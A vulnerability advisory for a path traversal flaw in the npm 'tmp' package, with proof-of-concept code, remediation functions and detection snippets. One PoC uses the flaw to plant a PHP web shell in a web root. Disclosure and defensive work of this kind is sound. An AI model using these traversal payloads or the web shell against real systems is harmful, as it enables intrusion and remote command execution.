CVE-2026-44705

About vulnerability

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp’s file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp’s path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

• prefix/postfix traversal: ../../../evil in prefix escapes directory structure
• Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
• Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
• Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

• No input validation on prefix, postfix, or dir parameters
• Direct use of user input in path construction
• Reliance on path.join() normalization without containment checks
• Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;

console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>

cleanup();
});

Directory Escape via postfix:

tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;

console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));

cleanup();
});

Absolute Path Bypass via dir:

tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;

console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir

cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp',           // Escape base
prefix: '../sensitive-area/',   // Further traversal
postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);

fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation:

• Files created outside intended temporary directories
• Attacker control over file placement location
• Potential to overwrite existing files (depending on creation flags)
• Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

• User uploads file with malicious prefix/postfix
• tmp creates “temporary” file in application configuration directory
• Malicious configuration loaded on next application restart

2. Cache Poisoning:

• Application caches user content using tmp
• Attacker escapes to cache directory of different user/tenant
• Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

• CI/CD system processes user PRs with tmp usage
• Malicious prefix escapes to build output directories
• Compromised build artifacts deployed to production

4. Container Escape Attempt:

• Containerized application uses tmp with user input
• Attacker attempts to escape container temp restrictions
• Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

• SaaS platform isolates tenants using separate tmp directories
• Tenant A escapes their tmp space to tenant B’s area
• Cross-tenant data access and potential privilege escalation

Business Impact:

• Data Integrity: Unauthorized file placement can corrupt application state
• Service Disruption: Files in wrong locations may break application functionality
• Security Bypass: Escape temporary isolation boundaries
• Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

• Ecosystem: npm
• Package name: tmp
• Repository: github.com/raszi/node-tmp
• Affected versions: All versions with vulnerable path construction logic
• Patched versions: None currently available

Component Impact:

• tmp.file() function - vulnerable to prefix/postfix/dir traversal
• tmp.dir() function - vulnerable to same parameter manipulation
• tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

1. Sanitize prefix/postfix:

function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}

2. Validate dir parameter:

function validateDir(dir, baseDir) {
if (!dir) return '';

// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}

// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);

if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}

return dir;
}

3. Post-construction path validation:

function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);

if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Generated path escapes temporary directory');
}

return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
const opts = { ...options };

// Sanitize inputs
opts.prefix = sanitizePrefix(opts.prefix);
opts.postfix = sanitizePostfix(opts.postfix);
opts.dir = validateDir(opts.dir, opts.tmpdir);

// Create with sanitized options
return tmp.file(opts, (err, path, fd, cleanup) => {
if (err) return callback(err);

// Validate final path
try {
validateFinalPath(path, opts.tmpdir);
} catch (validationErr) {
cleanup();
return callback(validationErr);
}

callback(null, path, fd, cleanup);
});
}

Workarounds

For Application Developers:

1. Input Sanitization:

// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
const safeOpts = {
...userOptions,
prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
dir: undefined // Don't allow user-controlled dir
};

return tmp.file(safeOpts);
}

2. Path Validation:

function validateTmpPath(tmpPath, expectedBase) {
const relativePath = path.relative(expectedBase, tmpPath);
if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
throw new Error('Temporary file path escaped base directory');
}
return tmpPath;
}

3. Restricted Usage:

// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

1. Code Review Patterns:

# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .

2. Runtime Monitoring:

// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
return originalFile(options, (err, path, fd, cleanup) => {
if (!err && options.tmpdir) {
const relative = require('path').relative(options.tmpdir, path);
if (relative.startsWith('..')) {
console.warn('Path traversal detected:', path);
}
}
return callback(err, path, fd, cleanup);
});
};

Detection and Monitoring

Static Analysis:

• Scan for tmp usage with user-controlled input
• Identify unsanitized parameter passing to tmp functions
• Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
const originalTmpFile = require('tmp').file;

require('tmp').file = function(options = {}, callback) {
// Check for suspicious patterns
const suspicious = [
options.prefix && options.prefix.includes('..'),
options.postfix && options.postfix.includes('..'),
options.dir && path.isAbsolute(options.dir)
].some(Boolean);

if (suspicious) {
console.warn('Suspicious tmp usage detected:', options);
}

return originalTmpFile.call(this, options, callback);
};
}

File System Monitoring:

# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
echo "Unexpected file creation: $file"
fi
done

Acknowledgements

Reported by: Mapta / BugBunny_ai

Affected product:

Angular , Bootstrap , Next.js , Node.js , broccoli-babel-transpiler , broccoli-merge-trees , can-symlink , ember-cli , ember-cli-preprocess-registry , grunt-karma , inquirer , inquirer.js , jpm , karma , listr2 , nuxt , opencollective-cli , protractor , selenium , selenium-webdriver , telemetry , tmp , useragent , webdriver-js-extender

Affected packages:

broccoli-merge-trees @ 1.2.4 (+129 more)